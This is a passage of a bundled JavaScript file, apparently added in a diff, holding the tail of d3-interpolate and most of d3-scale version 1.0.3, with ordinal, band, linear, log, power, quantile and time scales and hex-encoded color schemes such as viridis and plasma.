})(1); +} + +var cubehelix$2 = cubehelix$1(hue); +var cubehelixLong = cubehelix$1(nogamma); + +var quantize = function(interpolator, n) { + var samples = new Array(n); + for (var i = 0; i < n; ++i) samples[i] = interpolator(i / (n - 1)); + return samples; +}; + +exports.interpolate = value; +exports.interpolateArray = array; +exports.interpolateBasis = basis$1; +exports.interpolateBasisClosed = basisClosed; +exports.interpolateDate = date; +exports.interpolateNumber = number; +exports.interpolateObject = object; +exports.interpolateRound = round; +exports.interpolateString = string; +exports.interpolateTransformCss = interpolateTransformCss; +exports.interpolateTransformSvg = interpolateTransformSvg; +exports.interpolateZoom = zoom; +exports.interpolateRgb = rgb$1; +exports.interpolateRgbBasis = rgbBasis; +exports.interpolateRgbBasisClosed = rgbBasisClosed; +exports.interpolateHsl = hsl$2; +exports.interpolateHslLong = hslLong; +exports.interpolateLab = lab$1; +exports.interpolateHcl = hcl$2; +exports.interpolateHclLong = hclLong; +exports.interpolateCubehelix = cubehelix$2; +exports.interpolateCubehelixLong = cubehelixLong; +exports.quantize = quantize; + +Object.defineProperty(exports, '__esModule', { value: true }); + +}))); + +},{"d3-color":3}],7:[function(require,module,exports){ +// https://d3js.org/d3-scale/ Version 1.0.3. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-array'), require('d3-collection'), require('d3-interpolate'), require('d3-format'), require('d3-time'), require('d3-time-format'), require('d3-color')) : + typeof define === 'function' && define.amd ? define(['exports', 'd3-array', 'd3-collection', 'd3-interpolate', 'd3-format', 'd3-time', 'd3-time-format', 'd3-color'], factory) : + (factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3,global.d3,global.d3)); +}(this, function (exports,d3Array,d3Collection,d3Interpolate,d3Format,d3Time,d3TimeFormat,d3Color) { 'use strict'; + + var array = Array.prototype; + + var map$1 = array.map; + var slice = array.slice; + + var implicit = {name: "implicit"}; + + function ordinal(range) { + var index = d3Collection.map(), + domain = [], + unknown = implicit; + + range = range == null ? [] : slice.call(range); + + function scale(d) { + var key = d + "", i = index.get(key); + if (!i) { + if (unknown !== implicit) return unknown; + index.set(key, i = domain.push(d)); + } + return range[(i - 1) % range.length]; + } + + scale.domain = function(_) { + if (!arguments.length) return domain.slice(); + domain = [], index = d3Collection.map(); + var i = -1, n = _.length, d, key; + while (++i < n) if (!index.has(key = (d = _[i]) + "")) index.set(key, domain.push(d)); + return scale; + }; + + scale.range = function(_) { + return arguments.length ? (range = slice.call(_), scale) : range.slice(); + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + scale.copy = function() { + return ordinal() + .domain(domain) + .range(range) + .unknown(unknown); + }; + + return scale; + } + + function band() { + var scale = ordinal().unknown(undefined), + domain = scale.domain, + ordinalRange = scale.range, + range = [0, 1], + step, + bandwidth, + round = false, + paddingInner = 0, + paddingOuter = 0, + align = 0.5; + + delete scale.unknown; + + function rescale() { + var n = domain().length, + reverse = range[1] < range[0], + start = range[reverse - 0], + stop = range[1 - reverse]; + step = (stop - start) / Math.max(1, n - paddingInner + paddingOuter * 2); + if (round) step = Math.floor(step); + start += (stop - start - step * (n - paddingInner)) * align; + bandwidth = step * (1 - paddingInner); + if (round) start = Math.round(start), bandwidth = Math.round(bandwidth); + var values = d3Array.range(n).map(function(i) { return start + step * i; }); + return ordinalRange(reverse ? values.reverse() : values); + } + + scale.domain = function(_) { + return arguments.length ? (domain(_), rescale()) : domain(); + }; + + scale.range = function(_) { + return arguments.length ? (range = [+_[0], +_[1]], rescale()) : range.slice(); + }; + + scale.rangeRound = function(_) { + return range = [+_[0], +_[1]], round = true, rescale(); + }; + + scale.bandwidth = function() { + return bandwidth; + }; + + scale.step = function() { + return step; + }; + + scale.round = function(_) { + return arguments.length ? (round = !!_, rescale()) : round; + }; + + scale.padding = function(_) { + return arguments.length ? (paddingInner = paddingOuter = Math.max(0, Math.min(1, _)), rescale()) : paddingInner; + }; + + scale.paddingInner = function(_) { + return arguments.length ? (paddingInner = Math.max(0, Math.min(1, _)), rescale()) : paddingInner; + }; + + scale.paddingOuter = function(_) { + return arguments.length ? (paddingOuter = Math.max(0, Math.min(1, _)), rescale()) : paddingOuter; + }; + + scale.align = function(_) { + return arguments.length ? (align = Math.max(0, Math.min(1, _)), rescale()) : align; + }; + + scale.copy = function() { + return band() + .domain(domain()) + .range(range) + .round(round) + .paddingInner(paddingInner) + .paddingOuter(paddingOuter) + .align(align); + }; + + return rescale(); + } + + function pointish(scale) { + var copy = scale.copy; + + scale.padding = scale.paddingOuter; + delete scale.paddingInner; + delete scale.paddingOuter; + + scale.copy = function() { + return pointish(copy()); + }; + + return scale; + } + + function point() { + return pointish(band().paddingInner(1)); + } + + function constant(x) { + return function() { + return x; + }; + } + + function number(x) { + return +x; + } + + var unit = [0, 1]; + + function deinterpolate(a, b) { + return (b -= (a = +a)) + ? function(x) { return (x - a) / b; } + : constant(b); + } + + function deinterpolateClamp(deinterpolate) { + return function(a, b) { + var d = deinterpolate(a = +a, b = +b); + return function(x) { return x <= a ? 0 : x >= b ? 1 : d(x); }; + }; + } + + function reinterpolateClamp(reinterpolate) { + return function(a, b) { + var r = reinterpolate(a = +a, b = +b); + return function(t) { return t <= 0 ? a : t >= 1 ? b : r(t); }; + }; + } + + function bimap(domain, range, deinterpolate, reinterpolate) { + var d0 = domain[0], d1 = domain[1], r0 = range[0], r1 = range[1]; + if (d1 < d0) d0 = deinterpolate(d1, d0), r0 = reinterpolate(r1, r0); + else d0 = deinterpolate(d0, d1), r0 = reinterpolate(r0, r1); + return function(x) { return r0(d0(x)); }; + } + + function polymap(domain, range, deinterpolate, reinterpolate) { + var j = Math.min(domain.length, range.length) - 1, + d = new Array(j), + r = new Array(j), + i = -1; + + // Reverse descending domains. + if (domain[j] < domain[0]) { + domain = domain.slice().reverse(); + range = range.slice().reverse(); + } + + while (++i < j) { + d[i] = deinterpolate(domain[i], domain[i + 1]); + r[i] = reinterpolate(range[i], range[i + 1]); + } + + return function(x) { + var i = d3Array.bisect(domain, x, 1, j) - 1; + return r[i](d[i](x)); + }; + } + + function copy(source, target) { + return target + .domain(source.domain()) + .range(source.range()) + .interpolate(source.interpolate()) + .clamp(source.clamp()); + } + + // deinterpolate(a, b)(x) takes a domain value x in [a,b] and returns the corresponding parameter t in [0,1]. + // reinterpolate(a, b)(t) takes a parameter t in [0,1] and returns the corresponding domain value x in [a,b]. + function continuous(deinterpolate$$, reinterpolate) { + var domain = unit, + range = unit, + interpolate = d3Interpolate.interpolate, + clamp = false, + piecewise, + output, + input; + + function rescale() { + piecewise = Math.min(domain.length, range.length) > 2 ? polymap : bimap; + output = input = null; + return scale; + } + + function scale(x) { + return (output || (output = piecewise(domain, range, clamp ? deinterpolateClamp(deinterpolate$$) : deinterpolate$$, interpolate)))(+x); + } + + scale.invert = function(y) { + return (input || (input = piecewise(range, domain, deinterpolate, clamp ? reinterpolateClamp(reinterpolate) : reinterpolate)))(+y); + }; + + scale.domain = function(_) { + return arguments.length ? (domain = map$1.call(_, number), rescale()) : domain.slice(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice.call(_), rescale()) : range.slice(); + }; + + scale.rangeRound = function(_) { + return range = slice.call(_), interpolate = d3Interpolate.interpolateRound, rescale(); + }; + + scale.clamp = function(_) { + return arguments.length ? (clamp = !!_, rescale()) : clamp; + }; + + scale.interpolate = function(_) { + return arguments.length ? (interpolate = _, rescale()) : interpolate; + }; + + return rescale(); + } + + function tickFormat(domain, count, specifier) { + var start = domain[0], + stop = domain[domain.length - 1], + step = d3Array.tickStep(start, stop, count == null ? 10 : count), + precision; + specifier = d3Format.formatSpecifier(specifier == null ? ",f" : specifier); + switch (specifier.type) { + case "s": { + var value = Math.max(Math.abs(start), Math.abs(stop)); + if (specifier.precision == null && !isNaN(precision = d3Format.precisionPrefix(step, value))) specifier.precision = precision; + return d3Format.formatPrefix(specifier, value); + } + case "": + case "e": + case "g": + case "p": + case "r": { + if (specifier.precision == null && !isNaN(precision = d3Format.precisionRound(step, Math.max(Math.abs(start), Math.abs(stop))))) specifier.precision = precision - (specifier.type === "e"); + break; + } + case "f": + case "%": { + if (specifier.precision == null && !isNaN(precision = d3Format.precisionFixed(step))) specifier.precision = precision - (specifier.type === "%") * 2; + break; + } + } + return d3Format.format(specifier); + } + + function linearish(scale) { + var domain = scale.domain; + + scale.ticks = function(count) { + var d = domain(); + return d3Array.ticks(d[0], d[d.length - 1], count == null ? 10 : count); + }; + + scale.tickFormat = function(count, specifier) { + return tickFormat(domain(), count, specifier); + }; + + scale.nice = function(count) { + var d = domain(), + i = d.length - 1, + n = count == null ? 10 : count, + start = d[0], + stop = d[i], + step = d3Array.tickStep(start, stop, n); + + if (step) { + step = d3Array.tickStep(Math.floor(start / step) * step, Math.ceil(stop / step) * step, n); + d[0] = Math.floor(start / step) * step; + d[i] = Math.ceil(stop / step) * step; + domain(d); + } + + return scale; + }; + + return scale; + } + + function linear() { + var scale = continuous(deinterpolate, d3Interpolate.interpolateNumber); + + scale.copy = function() { + return copy(scale, linear()); + }; + + return linearish(scale); + } + + function identity() { + var domain = [0, 1]; + + function scale(x) { + return +x; + } + + scale.invert = scale; + + scale.domain = scale.range = function(_) { + return arguments.length ? (domain = map$1.call(_, number), scale) : domain.slice(); + }; + + scale.copy = function() { + return identity().domain(domain); + }; + + return linearish(scale); + } + + function nice(domain, interval) { + domain = domain.slice(); + + var i0 = 0, + i1 = domain.length - 1, + x0 = domain[i0], + x1 = domain[i1], + t; + + if (x1 < x0) { + t = i0, i0 = i1, i1 = t; + t = x0, x0 = x1, x1 = t; + } + + domain[i0] = interval.floor(x0); + domain[i1] = interval.ceil(x1); + return domain; + } + + function deinterpolate$1(a, b) { + return (b = Math.log(b / a)) + ? function(x) { return Math.log(x / a) / b; } + : constant(b); + } + + function reinterpolate(a, b) { + return a < 0 + ? function(t) { return -Math.pow(-b, t) * Math.pow(-a, 1 - t); } + : function(t) { return Math.pow(b, t) * Math.pow(a, 1 - t); }; + } + + function pow10(x) { + return isFinite(x) ? +("1e" + x) : x < 0 ? 0 : x; + } + + function powp(base) { + return base === 10 ? pow10 + : base === Math.E ? Math.exp + : function(x) { return Math.pow(base, x); }; + } + + function logp(base) { + return base === Math.E ? Math.log + : base === 10 && Math.log10 + || base === 2 && Math.log2 + || (base = Math.log(base), function(x) { return Math.log(x) / base; }); + } + + function reflect(f) { + return function(x) { + return -f(-x); + }; + } + + function log() { + var scale = continuous(deinterpolate$1, reinterpolate).domain([1, 10]), + domain = scale.domain, + base = 10, + logs = logp(10), + pows = powp(10); + + function rescale() { + logs = logp(base), pows = powp(base); + if (domain()[0] < 0) logs = reflect(logs), pows = reflect(pows); + return scale; + } + + scale.base = function(_) { + return arguments.length ? (base = +_, rescale()) : base; + }; + + scale.domain = function(_) { + return arguments.length ? (domain(_), rescale()) : domain(); + }; + + scale.ticks = function(count) { + var d = domain(), + u = d[0], + v = d[d.length - 1], + r; + + if (r = v < u) i = u, u = v, v = i; + + var i = logs(u), + j = logs(v), + p, + k, + t, + n = count == null ? 10 : +count, + z = []; + + if (!(base % 1) && j - i < n) { + i = Math.round(i) - 1, j = Math.round(j) + 1; + if (u > 0) for (; i < j; ++i) { + for (k = 1, p = pows(i); k < base; ++k) { + t = p * k; + if (t < u) continue; + if (t > v) break; + z.push(t); + } + } else for (; i < j; ++i) { + for (k = base - 1, p = pows(i); k >= 1; --k) { + t = p * k; + if (t < u) continue; + if (t > v) break; + z.push(t); + } + } + } else { + z = d3Array.ticks(i, j, Math.min(j - i, n)).map(pows); + } + + return r ? z.reverse() : z; + }; + + scale.tickFormat = function(count, specifier) { + if (specifier == null) specifier = base === 10 ? ".0e" : ","; + if (typeof specifier !== "function") specifier = d3Format.format(specifier); + if (count === Infinity) return specifier; + if (count == null) count = 10; + var k = Math.max(1, base * count / scale.ticks().length); // TODO fast estimate? + return function(d) { + var i = d / pows(Math.round(logs(d))); + if (i * base < base - 0.5) i *= base; + return i <= k ? specifier(d) : ""; + }; + }; + + scale.nice = function() { + return domain(nice(domain(), { + floor: function(x) { return pows(Math.floor(logs(x))); }, + ceil: function(x) { return pows(Math.ceil(logs(x))); } + })); + }; + + scale.copy = function() { + return copy(scale, log().base(base)); + }; + + return scale; + } + + function raise(x, exponent) { + return x < 0 ? -Math.pow(-x, exponent) : Math.pow(x, exponent); + } + + function pow() { + var exponent = 1, + scale = continuous(deinterpolate, reinterpolate), + domain = scale.domain; + + function deinterpolate(a, b) { + return (b = raise(b, exponent) - (a = raise(a, exponent))) + ? function(x) { return (raise(x, exponent) - a) / b; } + : constant(b); + } + + function reinterpolate(a, b) { + b = raise(b, exponent) - (a = raise(a, exponent)); + return function(t) { return raise(a + b * t, 1 / exponent); }; + } + + scale.exponent = function(_) { + return arguments.length ? (exponent = +_, domain(domain())) : exponent; + }; + + scale.copy = function() { + return copy(scale, pow().exponent(exponent)); + }; + + return linearish(scale); + } + + function sqrt() { + return pow().exponent(0.5); + } + + function quantile$1() { + var domain = [], + range = [], + thresholds = []; + + function rescale() { + var i = 0, n = Math.max(1, range.length); + thresholds = new Array(n - 1); + while (++i < n) thresholds[i - 1] = d3Array.quantile(domain, i / n); + return scale; + } + + function scale(x) { + if (!isNaN(x = +x)) return range[d3Array.bisect(thresholds, x)]; + } + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return i < 0 ? [NaN, NaN] : [ + i > 0 ? thresholds[i - 1] : domain[0], + i < thresholds.length ? thresholds[i] : domain[domain.length - 1] + ]; + }; + + scale.domain = function(_) { + if (!arguments.length) return domain.slice(); + domain = []; + for (var i = 0, n = _.length, d; i < n; ++i) if (d = _[i], d != null && !isNaN(d = +d)) domain.push(d); + domain.sort(d3Array.ascending); + return rescale(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice.call(_), rescale()) : range.slice(); + }; + + scale.quantiles = function() { + return thresholds.slice(); + }; + + scale.copy = function() { + return quantile$1() + .domain(domain) + .range(range); + }; + + return scale; + } + + function quantize() { + var x0 = 0, + x1 = 1, + n = 1, + domain = [0.5], + range = [0, 1]; + + function scale(x) { + if (x <= x) return range[d3Array.bisect(domain, x, 0, n)]; + } + + function rescale() { + var i = -1; + domain = new Array(n); + while (++i < n) domain[i] = ((i + 1) * x1 - (i - n) * x0) / (n + 1); + return scale; + } + + scale.domain = function(_) { + return arguments.length ? (x0 = +_[0], x1 = +_[1], rescale()) : [x0, x1]; + }; + + scale.range = function(_) { + return arguments.length ? (n = (range = slice.call(_)).length - 1, rescale()) : range.slice(); + }; + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return i < 0 ? [NaN, NaN] + : i < 1 ? [x0, domain[0]] + : i >= n ? [domain[n - 1], x1] + : [domain[i - 1], domain[i]]; + }; + + scale.copy = function() { + return quantize() + .domain([x0, x1]) + .range(range); + }; + + return linearish(scale); + } + + function threshold() { + var domain = [0.5], + range = [0, 1], + n = 1; + + function scale(x) { + if (x <= x) return range[d3Array.bisect(domain, x, 0, n)]; + } + + scale.domain = function(_) { + return arguments.length ? (domain = slice.call(_), n = Math.min(domain.length, range.length - 1), scale) : domain.slice(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice.call(_), n = Math.min(domain.length, range.length - 1), scale) : range.slice(); + }; + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return [domain[i - 1], domain[i]]; + }; + + scale.copy = function() { + return threshold() + .domain(domain) + .range(range); + }; + + return scale; + } + + var durationSecond = 1000; + var durationMinute = durationSecond * 60; + var durationHour = durationMinute * 60; + var durationDay = durationHour * 24; + var durationWeek = durationDay * 7; + var durationMonth = durationDay * 30; + var durationYear = durationDay * 365; + function date(t) { + return new Date(t); + } + + function number$1(t) { + return t instanceof Date ? +t : +new Date(+t); + } + + function calendar(year, month, week, day, hour, minute, second, millisecond, format) { + var scale = continuous(deinterpolate, d3Interpolate.interpolateNumber), + invert = scale.invert, + domain = scale.domain; + + var formatMillisecond = format(".%L"), + formatSecond = format(":%S"), + formatMinute = format("%I:%M"), + formatHour = format("%I %p"), + formatDay = format("%a %d"), + formatWeek = format("%b %d"), + formatMonth = format("%B"), + formatYear = format("%Y"); + + var tickIntervals = [ + [second, 1, durationSecond], + [second, 5, 5 * durationSecond], + [second, 15, 15 * durationSecond], + [second, 30, 30 * durationSecond], + [minute, 1, durationMinute], + [minute, 5, 5 * durationMinute], + [minute, 15, 15 * durationMinute], + [minute, 30, 30 * durationMinute], + [ hour, 1, durationHour ], + [ hour, 3, 3 * durationHour ], + [ hour, 6, 6 * durationHour ], + [ hour, 12, 12 * durationHour ], + [ day, 1, durationDay ], + [ day, 2, 2 * durationDay ], + [ week, 1, durationWeek ], + [ month, 1, durationMonth ], + [ month, 3, 3 * durationMonth ], + [ year, 1, durationYear ] + ]; + + function tickFormat(date) { + return (second(date) < date ? formatMillisecond + : minute(date) < date ? formatSecond + : hour(date) < date ? formatMinute + : day(date) < date ? formatHour + : month(date) < date ? (week(date) < date ? formatDay : formatWeek) + : year(date) < date ? formatMonth + : formatYear)(date); + } + + function tickInterval(interval, start, stop, step) { + if (interval == null) interval = 10; + + // If a desired tick count is specified, pick a reasonable tick interval + // based on the extent of the domain and a rough estimate of tick size. + // Otherwise, assume interval is already a time interval and use it. + if (typeof interval === "number") { + var target = Math.abs(stop - start) / interval, + i = d3Array.bisector(function(i) { return i[2]; }).right(tickIntervals, target); + if (i === tickIntervals.length) { + step = d3Array.tickStep(start / durationYear, stop / durationYear, interval); + interval = year; + } else if (i) { + i = tickIntervals[target / tickIntervals[i - 1][2] < tickIntervals[i][2] / target ? i - 1 : i]; + step = i[1]; + interval = i[0]; + } else { + step = d3Array.tickStep(start, stop, interval); + interval = millisecond; + } + } + + return step == null ? interval : interval.every(step); + } + + scale.invert = function(y) { + return new Date(invert(y)); + }; + + scale.domain = function(_) { + return arguments.length ? domain(map$1.call(_, number$1)) : domain().map(date); + }; + + scale.ticks = function(interval, step) { + var d = domain(), + t0 = d[0], + t1 = d[d.length - 1], + r = t1 < t0, + t; + if (r) t = t0, t0 = t1, t1 = t; + t = tickInterval(interval, t0, t1, step); + t = t ? t.range(t0, t1 + 1) : []; // inclusive stop + return r ? t.reverse() : t; + }; + + scale.tickFormat = function(count, specifier) { + return specifier == null ? tickFormat : format(specifier); + }; + + scale.nice = function(interval, step) { + var d = domain(); + return (interval = tickInterval(interval, d[0], d[d.length - 1], step)) + ? domain(nice(d, interval)) + : scale; + }; + + scale.copy = function() { + return copy(scale, calendar(year, month, week, day, hour, minute, second, millisecond, format)); + }; + + return scale; + } + + function time() { + return calendar(d3Time.timeYear, d3Time.timeMonth, d3Time.timeWeek, d3Time.timeDay, d3Time.timeHour, d3Time.timeMinute, d3Time.timeSecond, d3Time.timeMillisecond, d3TimeFormat.timeFormat).domain([new Date(2000, 0, 1), new Date(2000, 0, 2)]); + } + + function utcTime() { + return calendar(d3Time.utcYear, d3Time.utcMonth, d3Time.utcWeek, d3Time.utcDay, d3Time.utcHour, d3Time.utcMinute, d3Time.utcSecond, d3Time.utcMillisecond, d3TimeFormat.utcFormat).domain([Date.UTC(2000, 0, 1), Date.UTC(2000, 0, 2)]); + } + + function colors(s) { + return s.match(/.{6}/g).map(function(x) { + return "#" + x; + }); + } + + var category10 = colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"); + + var category20b = colors("393b795254a36b6ecf9c9ede6379398ca252b5cf6bcedb9c8c6d31bd9e39e7ba52e7cb94843c39ad494ad6616be7969c7b4173a55194ce6dbdde9ed6"); + + var category20c = colors("3182bd6baed69ecae1c6dbefe6550dfd8d3cfdae6bfdd0a231a35474c476a1d99bc7e9c0756bb19e9ac8bcbddcdadaeb636363969696bdbdbdd9d9d9"); + + var category20 = colors("1f77b4aec7e8ff7f0effbb782ca02c98df8ad62728ff98969467bdc5b0d58c564bc49c94e377c2f7b6d27f7f7fc7c7c7bcbd22dbdb8d17becf9edae5"); + + var cubehelix$1 = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(300, 0.5, 0.0), d3Color.cubehelix(-240, 0.5, 1.0)); + + var warm = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(-100, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8)); + + var cool = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(260, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8)); + + var rainbow = d3Color.cubehelix(); + + function rainbow$1(t) { + if (t < 0 || t > 1) t -= Math.floor(t); + var ts = Math.abs(t - 0.5); + rainbow.h = 360 * t - 100; + rainbow.s = 1.5 - 1.5 * ts; + rainbow.l = 0.8 - 0.9 * ts; + return rainbow + ""; + } + + function ramp(range) { + var n = range.length; + return function(t) { + return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; + }; + } + + var viridis = ramp(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")); + + var magma = ramp(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")); + + var inferno = ramp(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")); + + var plasma = ramp(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921")); + + function sequential(interpolator) { + var x0 = 0, + x1 = 1, + clamp = false; + + function scale(x) { + var t = (x - x0) / (x1 - x0); + return interpolator(clamp ? Math.max(0, Math.min(1, t)) : t); + } + + scale.domain = function(_) { + return arguments.length ? (x0 = +_[0], x1 = +_[1], scale) : [x0, x1]; + }; + + scale.clamp = function(_) { + return arguments.length ? (clamp = !!_, scale) : clamp; + }; + + scale.interpolator = function(_) { + return arguments.length ? (interpolator = _, scale) : interpolator; + }; + + scale.copy = function() { + return sequential(interpolator).domain([x0, x1]).clamp(clamp); + }; + + return linearish(scale); + } + + exports.scaleBand = band; + exports.scalePoint = point; + exports.scaleIdentity = identity; + exports.scaleLinear = linear; + exports.scaleLog = log; + exports.scaleOrdinal = ordinal; + exports.scaleImplicit = implicit; + exports.scalePow = pow; + exports.scaleSqrt = sqrt; + exports.scaleQuantile = quantile$1; + exports.scaleQuantize = quantize; + exports.scaleThreshold = threshold; + exports.scaleTime = time; + exports.scaleUtc = utcTime; + exports.schemeCategory10 = category10; + exports.schemeCategory20b = category20b; + exports.schemeCategory20c = category20c; + exports.schemeCategory20 = category20; + exports.interpolateCubehelixDefault = 